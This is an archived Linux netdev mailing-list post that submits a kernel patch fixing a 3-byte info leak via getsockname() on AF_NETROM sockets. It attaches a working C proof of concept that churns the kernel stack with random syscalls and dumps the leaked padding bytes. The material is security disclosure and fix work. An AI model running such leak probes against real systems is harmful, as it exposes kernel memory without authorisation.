Netdev List
 help / color / mirror / Atom feed
* [PATCH] netrom: fix info leak via getsockname()
@ 2012-10-14 18:23 Clément Lecigne
  2012-10-14 23:11 ` Ben Hutchings
  0 siblings, 1 reply; 3+ messages in thread
From: Clément Lecigne @ 2012-10-14 18:23 UTC (permalink / raw)
  To: netdev

[-- Attachment #1: Type: text/plain, Size: 951 bytes --]

The following patch fixes a 3 bytes info leak via getsockname() on
AF_NETROM socket.

Details:

typedef struct {
	char		ax25_call[7];	/* 6 call + SSID (shifted ascii!) */
} ax25_address;

struct sockaddr_ax25 {
	__kernel_sa_family_t sax25_family;
	ax25_address	sax25_call;
	int		sax25_ndigis;
	/* Digipeater ax25_address sets follow */
};

After compilation, gcc will add 3 padding bytes after sax25_call to
align sax25_ndigis and nr_getname does not clear these padding bytes
before returning to userland, poc attached.

Signed-off-by: Clement Lecigne <clemun@gmail.com>

--- a/net/netrom/af_netrom.c
+++ b/net/netrom/af_netrom.c
@@ -838,6 +838,8 @@ static int nr_getname(struct socket *sock, struct
sockaddr *uaddr,
        struct sock *sk = sock->sk;
        struct nr_sock *nr = nr_sk(sk);

+    memset(sax, 0, sizeof(struct sockaddr_ax25));
+
        lock_sock(sk);
        if (peer != 0) {
                if (sk->sk_state != TCP_ESTABLISHED) {

[-- Attachment #2: netrom.c --]
[-- Type: text/x-csrc, Size: 3217 bytes --]

/* netrom.c - getsockname() 3 bytes infoleak.
 *
 * (c) clem1.be - 2o12
 */
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <errno.h>
#include <unistd.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <linux/netrom.h>

/* from Jon Oberheide sploit
 */
void kernop(int fd)
{
    const int   randcalls[] = {
        __NR_read, __NR_write, __NR_open, __NR_close, __NR_stat, __NR_lstat,
        __NR_lseek, __NR_rt_sigaction, __NR_rt_sigprocmask, __NR_ioctl, 
        __NR_access, __NR_pipe, __NR_sched_yield, __NR_mremap, __NR_dup, 
        __NR_dup2, __NR_getitimer, __NR_setitimer, __NR_getpid, __NR_fcntl, 
        __NR_flock, __NR_getdents, __NR_getcwd, __NR_gettimeofday, 
        __NR_getrlimit, __NR_getuid, __NR_getgid, __NR_geteuid, __NR_getegid,
        __NR_getppid, __NR_getpgrp, __NR_getgroups, __NR_getresuid, 
        __NR_getresgid, __NR_getpgid, __NR_getsid,__NR_getpriority, 
        __NR_sched_getparam, __NR_sched_get_priority_max
    };
    const int   randsopts[] = { SOL_SOCKET, AF_APPLETALK };
    int         ret, len;
    char        buf[1024];

    do
    {
        switch (rand() % 3)
        {
            case 0:
                ret = syscall(randcalls[rand() % sizeof(randcalls)/sizeof(randcalls[0])]);
                break;
            case 1:
                len = (rand() % 2) ? sizeof(int) : sizeof(buf);
                ret = getsockopt(fd, randsopts[rand() % sizeof(randsopts)/sizeof(randsopts[0])], rand() % 130, &buf, &len);
                break;
            case 2:
                len = (rand() % 2) ? sizeof(int) : sizeof(buf);
                ret = setsockopt(fd, randsopts[rand() % sizeof(randsopts)/sizeof(randsopts[0])], rand() % 130, &buf, len);
                break;
        }
    }
    while (ret < 0);
}

void dump(unsigned char * data, unsigned int len)
{
    unsigned int dp, p;
    const char trans[] =
    "................................ !\"#$%&'()*+,-./0123456789"
    ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
    "nopqrstuvwxyz{|}~...................................."
    "....................................................."
    "........................................";

    for (dp = 1; dp <= len; dp++)
    {
        printf("%02x ", data[dp-1]);
        if ( (dp % 8) == 0 )
        {
            printf("| ");
            p = dp;
            for ( dp -= 8; dp < p; dp++ ) {
                printf("%c", trans[data[dp]]);
            }
            printf("\n");
        }
    }

    return;
}

int main(void)
{
    struct sockaddr_ax25    sa;
    int                     s, salen;
    char                    prev[sizeof sa];

    s = socket(AF_NETROM, SOCK_SEQPACKET, 0);
    if (s < 0)
        return -1;

    srand(time(NULL) ^ getpid());

    while (1)
    {
        kernop(s);
        memset(&sa, 0, sizeof sa);
        salen = sizeof sa;
        if (getsockname(s, (struct sockaddr *) &sa, &salen) == 0)
        {
            if (memcmp(&sa, prev, salen) != 0)
            {
                dump((unsigned char *) &sa, salen);
                memcpy(&prev, &sa, salen);
                sleep(2);
            }
        }
    }

    close(s);
    return 0;
}

^ permalink raw reply	[flat|nested] 3+ messages in thread

end of thread, other threads:[~2012-10-15  7:47 UTC | newest]

Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2012-10-14 18:23 [PATCH] netrom: fix info leak via getsockname() Clément Lecigne
2012-10-14 23:11 ` Ben Hutchings
2012-10-15  7:46   ` Clément Lecigne

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox